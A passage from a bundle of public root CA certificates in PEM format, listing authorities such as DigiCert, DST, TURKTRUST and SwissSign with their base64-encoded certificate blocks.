AR81sH8A25Bvxn570e56eqeqDFdvpG3FEzuwpdntMhy0XmeLVNxzh+XTF3xmUHJd1BpYwdnP2IkC b6dJtDZd0KTeByy2dbcokdaXvij1mB7qWybJvbCXc9qukSbraMH5ORXWZ0sKbU/Lz7DkQnGMU3nn 7uHbHaBuHYwadzVcFh4rUx80i9Fs/PJnB3r1re3WmquhsUvhzDdf/X/NTa64H5xD+SpYVUNFvJbN cA78yeNmuk6NO4HLFWR7uZToXTNShXEuT46iBhFRyePLoW4xCGQMwtI89Tbo19AOeCMgkckkKmUp WyL3Ic6DXqTz3kvTaI9GdVyDCW4pa8RwjPWd1yAv/0bSKzjCL3UcPX7ape8eYIVpQtPM+GP+HkM5 haa2Y0EQs3MevNP6yn0WR+Kn1dCjigoIlmJWbjTb2QK5MHXjBNLnj8KwEUAKrNVxAmKLMb7dxiNY MUJDLXT5xp6mig/p/r+D5kNXJLrvRjSq1xIBOO0CAwEAAaOBhjCBgzAOBgNVHQ8BAf8EBAMCAYYw HQYDVR0hBBYwFDASBgdghXQBUwABBgdghXQBUwABMBIGA1UdEwEB/wQIMAYBAf8CAQcwHwYDVR0j BBgwFoAUAyUv3m+CATpcLNwroWm1Z9SM0/0wHQYDVR0OBBYEFAMlL95vggE6XCzcK6FptWfUjNP9 MA0GCSqGSIb3DQEBBQUAA4ICAQA1EMvspgQNDQ/NwNurqPKIlwzfky9NfEBWMXrrpA9gzXrzvsMn jgM+pN0S734edAY8PzHyHHuRMSG08NBsl9Tpl7IkVh5WwzW9iAUPWxAaZOHHgjD5Mq2eUCzneAXQ MbFamIp1TpBcahQq4FJHgmDmHtqBsfsUC1rxn9KVuj7QG9YVHaO+htXbD8BJZLsuUBlL0iT43R4H VtA4oJVwIHaM190e3p9xxCPvgxNcoyQVTSlAPGrEqdi3pkSlDfTgnXceQHAm/NrZNuR55LU/vJtl vrsRls/bxig5OgjOR1tTWsWZ/l2p3e9M1MalrQLmjAcSHm8D0W+go/MpvRLHUKKwf4ipmXeascCl OS5cfGniLLDqN2qk4Vrh9VDlg++luyqI54zb/W1elxmofmZ1a3Hqv7HHb6D0jqTsNFFbjCYDcKF3 1QESVwA12yPeDooomf2xEG9L/zgtYE4snOtnta1J7ksfrK/7DZBaZmBwXarNeNQk7shBoJMBkpxq nvy5JMWzFYJ+vq6VK+uxwNrjAWALXmmshFZhvnEX/h0TD/7Gh0Xp/jKgGg0TpJRVcaUWi7rKibCy x/yP2FS1k2Kdzs9Z+z0YzirLNRWCXf9UIltxUvu3yf5gmwBBZPCqKuy2QkPOiWaByIufOVQDJdMW NY6E0F/6MBr1mmz0DlP5OlvRHA== -----END CERTIFICATE----- DigiCert Assured ID Root CA =========================== -----BEGIN CERTIFICATE----- MIIDtzCCAp+gAwIBAgIQDOfg5RfYRv6P5WD8G/AwOTANBgkqhkiG9w0BAQUFADBlMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0EwHhcNMDYxMTEwMDAwMDAwWhcNMzEx MTEwMDAwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0Ew ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtDhXO5EOAXLGH87dg+XESpa7cJpSIqvTO 9SA5KFhgDPiA2qkVlTJhPLWxKISKityfCgyDF3qPkKyK53lTXDGEKvYPmDI2dsze3Tyoou9q+yHy UmHfnyDXH+Kx2f4YZNISW1/5WBg1vEfNoTb5a3/UsDg+wRvDjDPZ2C8Y/igPs6eD1sNuRMBhNZYW /lmci3Zt1/GiSw0r/wty2p5g0I6QNcZ4VYcgoc/lbQrISXwxmDNsIumH0DJaoroTghHtORedmTpy oeb6pNnVFzF1roV9Iq4/AUaG9ih5yLHa5FcXxH4cDrC0kqZWs72yl+2qp/C3xag/lRbQ/6GW6whf GHdPAgMBAAGjYzBhMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRF 66Kv9JLLgjEtUYunpyGd823IDzAfBgNVHSMEGDAWgBRF66Kv9JLLgjEtUYunpyGd823IDzANBgkq hkiG9w0BAQUFAAOCAQEAog683+Lt8ONyc3pklL/3cmbYMuRCdWKuh+vy1dneVrOfzM4UKLkNl2Bc EkxY5NM9g0lFWJc1aRqoR+pWxnmrEthngYTffwk8lOa4JiwgvT2zKIn3X/8i4peEH+ll74fg38Fn SbNd67IJKusm7Xi+fT8r87cmNW1fiQG2SVufAQWbqz0lwcy2f8Lxb4bG+mRo64EtlOtCt/qMHt1i 8b5QZ7dsvfPxH2sMNgcWfzd8qVttevESRmCD1ycEvkvOl77DZypoEd+A5wwzZr8TDRRu838fYxAe +o0bJW1sj6W3YQGx0qMmoRBxna3iw/nDmVG3KwcIzi7mULKn+gpFL6Lw8g== -----END CERTIFICATE----- DigiCert Global Root CA ======================= -----BEGIN CERTIFICATE----- MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBhMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAw MDAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3 dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkq hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsBCSDMAZOn TjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97nh6Vfe63SKMI2tavegw5 BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt43C/dxC//AH2hdmoRBBYMql1GNXRor5H 4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7PT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y 7vrTC0LUq7dBMtoM1O/4gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQAB o2MwYTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbRTLtm 8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQEF BQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/EsrhMAtudXH/vTBH1jLuG2cenTnmCmr EbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIt tep3Sp+dWOIrWcBAI+0tKIJFPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886 UAb3LujEV0lsYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4= -----END CERTIFICATE----- DigiCert High Assurance EV Root CA ================================== -----BEGIN CERTIFICATE----- MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBsMQswCQYDVQQG EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSsw KQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAw MFoXDTMxMTExMDAwMDAwMFowbDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZ MBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFu Y2UgRVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm+9S75S0t Mqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTWPNt0OKRKzE0lgvdKpVMS OO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEMxChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3 MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFBIk5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQ NAQTXKFx01p8VdteZOE3hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUe h10aUAsgEsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMB Af8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSY JhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3NecnzyIZgYIVyHbIUf4KmeqvxgydkAQ V8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6zeM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFp myPInngiK3BD41VHMWEZ71jFhS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkK mNEVX58Svnw2Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep+OkuE6N36B9K -----END CERTIFICATE----- Certplus Class 2 Primary CA =========================== -----BEGIN CERTIFICATE----- MIIDkjCCAnqgAwIBAgIRAIW9S/PY2uNp9pTXX8OlRCMwDQYJKoZIhvcNAQEFBQAwPTELMAkGA1UE BhMCRlIxETAPBgNVBAoTCENlcnRwbHVzMRswGQYDVQQDExJDbGFzcyAyIFByaW1hcnkgQ0EwHhcN OTkwNzA3MTcwNTAwWhcNMTkwNzA2MjM1OTU5WjA9MQswCQYDVQQGEwJGUjERMA8GA1UEChMIQ2Vy dHBsdXMxGzAZBgNVBAMTEkNsYXNzIDIgUHJpbWFyeSBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEP ADCCAQoCggEBANxQltAS+DXSCHh6tlJw/W/uz7kRy1134ezpfgSN1sxvc0NXYKwzCkTsA18cgCSR 5aiRVhKC9+Ar9NuuYS6JEI1rbLqzAr3VNsVINyPi8Fo3UjMXEuLRYE2+L0ER4/YXJQyLkcAbmXuZ Vg2v7tK8R1fjeUl7NIknJITesezpWE7+Tt9avkGtrAjFGA7v0lPubNCdEgETjdyAYveVqUSISnFO YFWe2yMZeVYHDD9jC1yw4r5+FfyUM1hBOHTE4Y+L3yasH7WLO7dDWWuwJKZtkIvEcupdM5i3y95e e++U8Rs+yskhwcWYAqqi9lt3m/V+llU0HGdpwPFC40es/CgcZlUCAwEAAaOBjDCBiTAPBgNVHRME CDAGAQH/AgEKMAsGA1UdDwQEAwIBBjAdBgNVHQ4EFgQU43Mt38sOKAze3bOkynm4jrvoMIkwEQYJ YIZIAYb4QgEBBAQDAgEGMDcGA1UdHwQwMC4wLKAqoCiGJmh0dHA6Ly93d3cuY2VydHBsdXMuY29t L0NSTC9jbGFzczIuY3JsMA0GCSqGSIb3DQEBBQUAA4IBAQCnVM+IRBnL39R/AN9WM2K191EBkOvD P9GIROkkXe/nFL0gt5o8AP5tn9uQ3Nf0YtaLcF3n5QRIqWh8yfFC82x/xXp8HVGIutIKPidd3i1R TtMTZGnkLuPT55sJmabglZvOGtd/vjzOUrMRFcEPF80Du5wlFbqidon8BvEY0JNLDnyCt6X09l/+ 7UCmnYR0ObncHoUW2ikbhiMAybuJfm6AiB4vFLQDJKgybwOaRywwvlbGp0ICcBvqQNi6BQNwB6SW //1IMwrh3KWBkJtN3X3n57LNXMhqlfil9o3EXXgIvnsG1knPGTZQIy4I5p4FTUcY1Rbpsda2ENW7 l7+ijrRU -----END CERTIFICATE----- DST Root CA X3 ============== -----BEGIN CERTIFICATE----- MIIDSjCCAjKgAwIBAgIQRK+wgNajJ7qJMDmGLvhAazANBgkqhkiG9w0BAQUFADA/MSQwIgYDVQQK ExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMTDkRTVCBSb290IENBIFgzMB4X DTAwMDkzMDIxMTIxOVoXDTIxMDkzMDE0MDExNVowPzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1 cmUgVHJ1c3QgQ28uMRcwFQYDVQQDEw5EU1QgUm9vdCBDQSBYMzCCASIwDQYJKoZIhvcNAQEBBQAD ggEPADCCAQoCggEBAN+v6ZdQCINXtMxiZfaQguzH0yxrMMpb7NnDfcdAwRgUi+DoM3ZJKuM/IUmT rE4Orz5Iy2Xu/NMhD2XSKtkyj4zl93ewEnu1lcCJo6m67XMuegwGMoOifooUMM0RoOEqOLl5CjH9 UL2AZd+3UWODyOKIYepLYYHsUmu5ouJLGiifSKOeDNoJjj4XLh7dIN9bxiqKqy69cK3FCxolkHRy xXtqqzTWMIn/5WgTe1QLyNau7Fqckh49ZLOMxt+/yUFw7BZy1SbsOFU5Q9D8/RhcQPGX69Wam40d utolucbY38EVAjqr2m7xPi71XAicPNaDaeQQmxkqtilX4+U9m5/wAl0CAwEAAaNCMEAwDwYDVR0T AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMSnsaR7LHH62+FLkHX/xBVghYkQ MA0GCSqGSIb3DQEBBQUAA4IBAQCjGiybFwBcqR7uKGY3Or+Dxz9LwwmglSBd49lZRNI+DT69ikug dB/OEIKcdBodfpga3csTS7MgROSR6cz8faXbauX+5v3gTt23ADq1cEmv8uXrAvHRAosZy5Q6XkjE GB5YGV8eAlrwDPGxrancWYaLbumR9YbK+rlmM6pZW87ipxZzR8srzJmwN0jP41ZL9c8PDHIyh8bw RLtTcm1D9SZImlJnt1ir/md2cXjbDaJWFBM5JDGFoqgCWjBH4d1QB7wCCZAA62RjYJsWvIjJEubS fZGL+T0yjWW06XyxV3bqxbYoOb8VZRzI9neWagqNdwvYkQsEjgfbKbYK7p2CNTUQ -----END CERTIFICATE----- DST ACES CA X6 ============== -----BEGIN CERTIFICATE----- MIIECTCCAvGgAwIBAgIQDV6ZCtadt3js2AdWO4YV2TANBgkqhkiG9w0BAQUFADBbMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QxETAPBgNVBAsTCERTVCBBQ0VT MRcwFQYDVQQDEw5EU1QgQUNFUyBDQSBYNjAeFw0wMzExMjAyMTE5NThaFw0xNzExMjAyMTE5NTha MFsxCzAJBgNVBAYTAlVTMSAwHgYDVQQKExdEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdDERMA8GA1UE CxMIRFNUIEFDRVMxFzAVBgNVBAMTDkRTVCBBQ0VTIENBIFg2MIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEAuT31LMmU3HWKlV1j6IR3dma5WZFcRt2SPp/5DgO0PWGSvSMmtWPuktKe1jzI DZBfZIGxqAgNTNj50wUoUrQBJcWVHAx+PhCEdc/BGZFjz+iokYi5Q1K7gLFViYsx+tC3dr5BPTCa pCIlF3PoHuLTrCq9Wzgh1SpL11V94zpVvddtawJXa+ZHfAjIgrrep4c9oW24MFbCswKBXy314pow GCi4ZtPLAZZv6opFVdbgnf9nKxcCpk4aahELfrd755jWjHZvwTvbUJN+5dCOHze4vbrGn2zpfDPy MjwmR/onJALJfh1biEITajV8fTXpLmaRcpPVMibEdPVTo7NdmvYJywIDAQABo4HIMIHFMA8GA1Ud EwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgHGMB8GA1UdEQQYMBaBFHBraS1vcHNAdHJ1c3Rkc3Qu Y29tMGIGA1UdIARbMFkwVwYKYIZIAWUDAgEBATBJMEcGCCsGAQUFBwIBFjtodHRwOi8vd3d3LnRy dXN0ZHN0LmNvbS9jZXJ0aWZpY2F0ZXMvcG9saWN5L0FDRVMtaW5kZXguaHRtbDAdBgNVHQ4EFgQU CXIGThhDD+XWzMNqizF7eI+og7gwDQYJKoZIhvcNAQEFBQADggEBAKPYjtay284F5zLNAdMEA+V2 5FYrnJmQ6AgwbN99Pe7lv7UkQIRJ4dEorsTCOlMwiPH1d25Ryvr/ma8kXxug/fKshMrfqfBfBC6t Fr8hlxCBPeP/h40y3JTlR4peahPJlJU90u7INJXQgNStMgiAVDzgvVJT11J8smk/f3rPanTK+gQq nExaBqXpIK1FZg9p8d2/6eMyi/rgwYZNcjwu2JN4Cir42NInPRmJX1p7ijvMDNpRrscL9yuwNwXs vFcj4jjSm2jzVhKIT0J8uDHEtdvkyCE06UgRNe76x5JXxZ805Mf29w4LTJxoeHtxMcfrHuBnQfO3 oKfN5XozNmr6mis= -----END CERTIFICATE----- TURKTRUST Certificate Services Provider Root 1 ============================================== -----BEGIN CERTIFICATE----- MIID+zCCAuOgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBtzE/MD0GA1UEAww2VMOcUktUUlVTVCBF bGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGDAJUUjEP MA0GA1UEBwwGQU5LQVJBMVYwVAYDVQQKDE0oYykgMjAwNSBUw5xSS1RSVVNUIEJpbGdpIMSwbGV0 acWfaW0gdmUgQmlsacWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLjAeFw0wNTA1MTMx MDI3MTdaFw0xNTAzMjIxMDI3MTdaMIG3MT8wPQYDVQQDDDZUw5xSS1RSVVNUIEVsZWt0cm9uaWsg U2VydGlmaWthIEhpem1ldCBTYcSfbGF5xLFjxLFzxLExCzAJBgNVBAYMAlRSMQ8wDQYDVQQHDAZB TktBUkExVjBUBgNVBAoMTShjKSAyMDA1IFTDnFJLVFJVU1QgQmlsZ2kgxLBsZXRpxZ9pbSB2ZSBC aWxpxZ9pbSBHw7x2ZW5sacSfaSBIaXptZXRsZXJpIEEuxZ4uMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEAylIF1mMD2Bxf3dJ7XfIMYGFbazt0K3gNfUW9InTojAPBxhEqPZW8qZSwu5GX yGl8hMW0kWxsE2qkVa2kheiVfrMArwDCBRj1cJ02i67L5BuBf5OI+2pVu32Fks66WJ/bMsW9Xe8i Si9BB35JYbOG7E6mQW6EvAPs9TscyB/C7qju6hJKjRTP8wrgUDn5CDX4EVmt5yLqS8oUBt5CurKZ 8y1UiBAG6uEaPj1nH/vO+3yC6BFdSsG5FOpU2WabfIl9BJpiyelSPJ6c79L1JuTm5Rh8i27fbMx4 W09ysstcP4wFjdFMjK2Sx+F4f2VsSQZQLJ4ywtdKxnWKWU51b0dewQIDAQABoxAwDjAMBgNVHRME BTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQAV9VX/N5aAWSGk/KEVTCD21F/aAyT8z5Aa9CEKmu46 sWrv7/hg0Uw2ZkUd82YCdAR7kjCo3gp2D++Vbr3JN+YaDayJSFvMgzbC9UZcWYJWtNX+I7TYVBxE q8Sn5RTOPEFhfEPmzcSBCYsk+1Ql1haolgxnB2+zUEfjHCQo3SqYpGH+2+oSN7wBGjSFvW5P55Fy B0SFHljKVETd96y5y4khctuPwGkplyqjrhgjlxxBKot8KsF8kOipKMDTkcatKIdAaLX/7KfS0zgY nNN9aV3wxqUeJBujR/xpB2jn5Jq07Q+hh4cCzofSSE7hvP/L8XKSRGQDJereW26fyfJOrN3H -----END CERTIFICATE----- TURKTRUST Certificate Services Provider Root 2 ============================================== -----BEGIN CERTIFICATE----- MIIEPDCCAySgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBvjE/MD0GA1UEAww2VMOcUktUUlVTVCBF bGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGEwJUUjEP MA0GA1UEBwwGQW5rYXJhMV0wWwYDVQQKDFRUw5xSS1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUg QmlsacWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLiAoYykgS2FzxLFtIDIwMDUwHhcN MDUxMTA3MTAwNzU3WhcNMTUwOTE2MTAwNzU3WjCBvjE/MD0GA1UEAww2VMOcUktUUlVTVCBFbGVr dHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGEwJUUjEPMA0G A1UEBwwGQW5rYXJhMV0wWwYDVQQKDFRUw5xSS1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUgQmls acWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLiAoYykgS2FzxLFtIDIwMDUwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCpNn7DkUNMwxmYCMjHWHtPFoylzkkBH3MOrHUTpvqe LCDe2JAOCtFp0if7qnefJ1Il4std2NiDUBd9irWCPwSOtNXwSadktx4uXyCcUHVPr+G1QRT0mJKI x+XlZEdhR3n9wFHxwZnn3M5q+6+1ATDcRhzviuyV79z/rxAc653YsKpqhRgNF8k+v/Gb0AmJQv2g QrSdiVFVKc8bcLyEVK3BEx+Y9C52YItdP5qtygy/p1Zbj3e41Z55SZI/4PGXJHpsmxcPbe9TmJEr 5A++WXkHeLuXlfSfadRYhwqp48y2WBmfJiGxxFmNskF1wK1pzpwACPI2/z7woQ8arBT9pmAPAgMB AAGjQzBBMB0GA1UdDgQWBBTZN7NOBf3Zz58SFq62iS/rJTqIHDAPBgNVHQ8BAf8EBQMDBwYAMA8G A1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAHJglrfJ3NgpXiOFX7KzLXb7iNcX/ntt Rbj2hWyfIvwqECLsqrkw9qtY1jkQMZkpAL2JZkH7dN6RwRgLn7Vhy506vvWolKMiVW4XSf/SKfE4 Jl3vpao6+XF75tpYHdN0wgH6PmlYX63LaL4ULptswLbcoCb6dxriJNoaN+BnrdFzgw2lGh1uEpJ+ hGIAF728JRhX8tepb1mIvDS3LoV4nZbcFMMsilKbloxSZj2GFotHuFEJjOp9zYhys2AzsfAKRO8P 9Qk3iCQOLGsgOqL6EfJANZxEaGM7rDNvY7wsu/LSy3Z9fYjYHcgFHW68lKlmjHdxx/qR+i9Rnuk5 UrbnBEI= -----END CERTIFICATE----- SwissSign Platinum CA - G2 ========================== -----BEGIN CERTIFICATE----- MIIFwTCCA6mgAwIBAgIITrIAZwwDXU8wDQYJKoZIhvcNAQEFBQAwSTELMAkGA1UEBhMCQ0gxFTAT BgNVBAoTDFN3aXNzU2lnbiBBRzEjMCEGA1UEAxMaU3dpc3NTaWduIFBsYXRpbnVtIENBIC0gRzIw HhcNMDYxMDI1MDgzNjAwWhcNMzYxMDI1MDgzNjAwWjBJMQswCQYDVQQGEwJDSDEVMBMGA1UEChMM U3dpc3NTaWduIEFHMSMwIQYDVQQDExpTd2lzc1NpZ24gUGxhdGludW0gQ0EgLSBHMjCCAiIwDQYJ KoZIhvcNAQEBBQADggIPADCCAgoCggIBAMrfogLi2vj8Bxax3mCq3pZcZB/HL37PZ/pEQtZ2Y5Wu 669yIIpFR4ZieIbWIDkm9K6j/SPnpZy1IiEZtzeTIsBQnIJ71NUERFzLtMKfkr4k2HtnIuJpX+UF eNSH2XFwMyVTtIc7KZAoNppVRDBopIOXfw0enHb/FZ1glwCNioUD7IC+6ixuEFGSzH7VozPY1kne WCqv9hbrS3uQMpe5up1Y8fhXSQQeol0GcN1x2/ndi5objM89o03Oy3z2u5yg+gnOI2Ky6Q0f4nIo j5+saCB9bzuohTEJfwvH6GXp43gOCWcwizSC+13gzJ2BbWLuCB4ELE6b7P6pT1/9aXjvCR+htL/6 8++QHkwFix7qepF6w9fl+zC8bBsQWJj3Gl/QKTIDE0ZNYWqFTFJ0LwYfexHihJfGmfNtf9dng34T aNhxKFrYzt3oEBSa/m0jh26OWnA81Y0JAKeqvLAxN23IhBQeW71FYyBrS3SMvds6DsHPWhaPpZjy domyExI7C3d3rLvlPClKknLKYRorXkzig3R3+jVIeoVNjZpTxN94ypeRSCtFKwH3HBqi7Ri6Cr2D +m+8jVeTO9TUps4e8aCxzqv9KyiaTxvXw3LbpMS/XUz13XuWae5ogObnmLo2t/5u7Su9IPhlGdpV CX4l3P5hYnL5fhgC72O00Puv5TtjjGePAgMBAAGjgawwgakwDgYDVR0PAQH/BAQDAgEGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFFCvzAeHFUdvOMW0ZdHelarp35zMMB8GA1UdIwQYMBaAFFCv zAeHFUdvOMW0ZdHelarp35zMMEYGA1UdIAQ/MD0wOwYJYIV0AVkBAQEBMC4wLAYIKwYBBQUHAgEW IGh0dHA6Ly9yZXBvc2l0b3J5LnN3aXNzc2lnbi5jb20vMA0GCSqGSIb3DQEBBQUAA4ICAQAIhab1 Fgz8RBrBY+D5VUYI/HAcQiiWjrfFwUF1TglxeeVtlspLpYhg0DB0uMoI3LQwnkAHFmtllXcBrqS3 NQuB2nEVqXQXOHtYyvkv+8Bldo1bAbl93oI9ZLi+FHSjClTTLJUYFzX1UWs/j6KWYTl4a0vlpqD4 U99REJNi54Av4tHgvI42Rncz7Lj7jposiU0xEQ8mngS7twSNC/K5/FqdOxa3L8iYq/6KUFkuozv8 KV2LwUvJ4ooTHbG/u0IdUt1O2BReEMYxB+9xJ/cbOQncguqLs5WGXv312l0xpuAxtpTmREl0xRbl 9x8DYSjFyMsSoEJL+WuICI20MhjzdZ/EfwBPBZWcoxcCw7NTm6ogOSkrZvqdr16zktK1puEa+S1B aYEUtLS17Yk9zvupnTVCRLEcFHOBzyoBNZox1S2PbYTfgE1X4z/FhHXaicYwu+uPyyIIoK6q8QNs OktNCaUOcsZWayFCTiMlFGiudgp8DAdwZPmaL/YFOSbGDI8Zf0NebvRbFS/bYV3mZy8/CJT5YLSY Mdp08YSTcU1f+2BY0fvEwW2JorsgH51xkcsymxM9Pn2SUjWskpSi0xjCfMfqr3YFFt1nJ8J+HAci IfNAChs0B0QTwoRqjt8ZWr9/6x3iGjjRXK9HkmuAtTClyY3YqzGBH9/CZjfTk6mFhnll0g== -----END CERTIFICATE----- SwissSign Gold CA - G2 ====================== -----BEGIN CERTIFICATE----- MIIFujCCA6KgAwIBAgIJALtAHEP1Xk+wMA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkNIMRUw EwYDVQQKEwxTd2lzc1NpZ24gQUcxHzAdBgNVBAMTFlN3aXNzU2lnbiBHb2xkIENBIC0gRzIwHhcN MDYxMDI1MDgzMDM1WhcNMzYxMDI1MDgzMDM1WjBFMQswCQYDVQQGEwJDSDEVMBMGA1UEChMMU3dp c3NTaWduIEFHMR8wHQYDVQQDExZTd2lzc1NpZ24gR29sZCBDQSAtIEcyMIICIjANBgkqhkiG9w0B AQEFAAOCAg8AMIICCgKCAgEAr+TufoskDhJuqVAtFkQ7kpJcyrhdhJJCEyq8ZVeCQD5XJM1QiyUq t2/876LQwB8CJEoTlo8jE+YoWACjR8cGp4QjK7u9lit/VcyLwVcfDmJlD909Vopz2q5+bbqBHH5C jCA12UNNhPqE21Is8w4ndwtrvxEvcnifLtg+5hg3Wipy+dpikJKVyh+c6bM8K8vzARO/Ws/BtQpg vd21mWRTuKCWs2/iJneRjOBiEAKfNA+k1ZIzUd6+jbqEemA8atufK+ze3gE/bk3lUIbLtK/tREDF ylqM2tIrfKjuvqblCqoOpd8FUrdVxyJdMmqXl2MT28nbeTZ7hTpKxVKJ+STnnXepgv9VHKVxaSvR AiTysybUa9oEVeXBCsdtMDeQKuSeFDNeFhdVxVu1yzSJkvGdJo+hB9TGsnhQ2wwMC3wLjEHXuend jIj3o02yMszYF9rNt85mndT9Xv+9lz4pded+p2JYryU0pUHHPbwNUMoDAw8IWh+Vc3hiv69yFGkO peUDDniOJihC8AcLYiAQZzlG+qkDzAQ4embvIIO1jEpWjpEA/I5cgt6IoMPiaG59je883WX0XaxR 7ySArqpWl2/5rX3aYT+YdzylkbYcjCbaZaIJbcHiVOO5ykxMgI93e2CaHt+28kgeDrpOVG2Y4OGi GqJ3UM/EY5LsRxmd6+ZrzsECAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUw AwEB/zAdBgNVHQ4EFgQUWyV7lqRlUX64OfPAeGZe6Drn8O4wHwYDVR0jBBgwFoAUWyV7lqRlUX64 OfPAeGZe6Drn8O4wRgYDVR0gBD8wPTA7BglghXQBWQECAQEwLjAsBggrBgEFBQcCARYgaHR0cDov L3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBACe645R88a7A3hfm 